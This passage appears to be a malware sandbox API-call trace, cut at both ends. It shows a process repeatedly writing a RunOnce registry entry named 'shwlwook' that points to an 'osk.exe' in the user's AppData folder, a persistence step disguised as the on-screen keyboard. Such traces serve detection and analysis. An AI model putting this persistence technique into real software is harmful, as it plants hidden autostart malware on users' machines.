lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0255.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95df10, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0255.269] _mbsnbcmp (_Str1=0x95df10, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0255.270] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95deec, lpdwDisposition=0x0 | out: phkResult=0x95deec*=0x14c, lpdwDisposition=0x0) returned 0x0 [0255.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0255.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95dee0, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0255.270] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0255.270] RegCloseKey (hKey=0x14c) returned 0x0 [0255.270] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0255.271] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.271] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.271] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.271] KillTimer (hWnd=0x701f8, uIDEvent=0x2008) returned 1 [0255.271] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.282] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.282] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.282] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0255.282] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e930*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95e98c | out: rgDispId=0x95e98c*=10012) returned 0x0 [0255.284] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240a10 | out: ppvObject=0x6240a10*=0x0) returned 0x80004002 [0255.284] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x13 [0255.284] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ea1c | out: ppvObject=0x95ea1c*=0x0) returned 0x80004002 [0255.284] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x14 [0255.284] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0, pExcepInfo=0x95e99c, puArgErr=0x95e874 | out: pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95e99c*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x624a870) returned 0x0 [0255.285] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x13 [0255.285] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95e8d0 | out: ppvObject=0x95e8d0*=0x0) returned 0x80004002 [0255.285] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95e8c8 | out: ppvObject=0x95e8c8*=0x0) returned 0x80004002 [0255.285] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95e8dc | out: ppvObject=0x95e8dc*=0x5499ce4) returned 0x0 [0255.285] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95e864 | out: ppvObject=0x95e864*=0x0) returned 0x80004002 [0255.285] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240a30 | out: ppvObject=0x6240a30*=0x0) returned 0x80004002 [0255.285] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x14 [0255.285] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x13 [0255.285] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e960*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95e9bc | out: rgDispId=0x95e9bc*=0) returned 0x0 [0255.286] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x13 [0255.286] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968, pExcepInfo=0x95e988, puArgErr=0x95e874 | out: pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95e988*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x6240a40) returned 0x0 [0255.287] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x12 [0255.287] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0255.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0255.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95df10, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0255.287] _mbsnbcmp (_Str1=0x95df10, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0255.287] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95deec, lpdwDisposition=0x0 | out: phkResult=0x95deec*=0x14c, lpdwDisposition=0x0) returned 0x0 [0255.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0255.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95dee0, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0255.288] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0255.288] RegCloseKey (hKey=0x14c) returned 0x0 [0255.288] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0255.289] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.297] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.297] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.297] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0255.297] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e930*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95e98c | out: rgDispId=0x95e98c*=10012) returned 0x0 [0255.298] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240a90 | out: ppvObject=0x6240a90*=0x0) returned 0x80004002 [0255.298] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x14 [0255.298] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ea1c | out: ppvObject=0x95ea1c*=0x0) returned 0x80004002 [0255.298] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x15 [0255.298] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0, pExcepInfo=0x95e99c, puArgErr=0x95e874 | out: pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95e99c*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x624a8d0) returned 0x0 [0255.298] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x14 [0255.298] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95e8d0 | out: ppvObject=0x95e8d0*=0x0) returned 0x80004002 [0255.298] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95e8c8 | out: ppvObject=0x95e8c8*=0x0) returned 0x80004002 [0255.298] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95e8dc | out: ppvObject=0x95e8dc*=0x5499ce4) returned 0x0 [0255.299] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95e864 | out: ppvObject=0x95e864*=0x0) returned 0x80004002 [0255.299] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240ab0 | out: ppvObject=0x6240ab0*=0x0) returned 0x80004002 [0255.299] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x15 [0255.299] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x14 [0255.299] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e960*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95e9bc | out: rgDispId=0x95e9bc*=0) returned 0x0 [0255.299] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x14 [0255.299] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968, pExcepInfo=0x95e988, puArgErr=0x95e874 | out: pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95e988*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x6240ac0) returned 0x0 [0255.300] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x13 [0255.300] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0255.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0255.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95df10, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0255.301] _mbsnbcmp (_Str1=0x95df10, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0255.301] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95deec, lpdwDisposition=0x0 | out: phkResult=0x95deec*=0x14c, lpdwDisposition=0x0) returned 0x0 [0255.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0255.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95dee0, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0255.301] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0255.301] RegCloseKey (hKey=0x14c) returned 0x0 [0255.301] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0255.302] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.312] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.312] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.313] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0255.313] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e930*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95e98c | out: rgDispId=0x95e98c*=10012) returned 0x0 [0255.313] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240b10 | out: ppvObject=0x6240b10*=0x0) returned 0x80004002 [0255.313] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x15 [0255.313] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ea1c | out: ppvObject=0x95ea1c*=0x0) returned 0x80004002 [0255.313] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x16 [0255.313] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0, pExcepInfo=0x95e99c, puArgErr=0x95e874 | out: pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95e99c*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x624a930) returned 0x0 [0255.314] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x15 [0255.314] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95e8d0 | out: ppvObject=0x95e8d0*=0x0) returned 0x80004002 [0255.314] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95e8c8 | out: ppvObject=0x95e8c8*=0x0) returned 0x80004002 [0255.314] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95e8dc | out: ppvObject=0x95e8dc*=0x5499ce4) returned 0x0 [0255.314] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95e864 | out: ppvObject=0x95e864*=0x0) returned 0x80004002 [0255.314] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240b30 | out: ppvObject=0x6240b30*=0x0) returned 0x80004002 [0255.314] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x16 [0255.314] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x15 [0255.314] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e960*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95e9bc | out: rgDispId=0x95e9bc*=0) returned 0x0 [0255.314] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x15 [0255.314] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968, pExcepInfo=0x95e988, puArgErr=0x95e874 | out: pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95e988*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x6240b40) returned 0x0 [0255.315] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x14 [0255.315] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0255.316] WideCharToMultiByte (in: 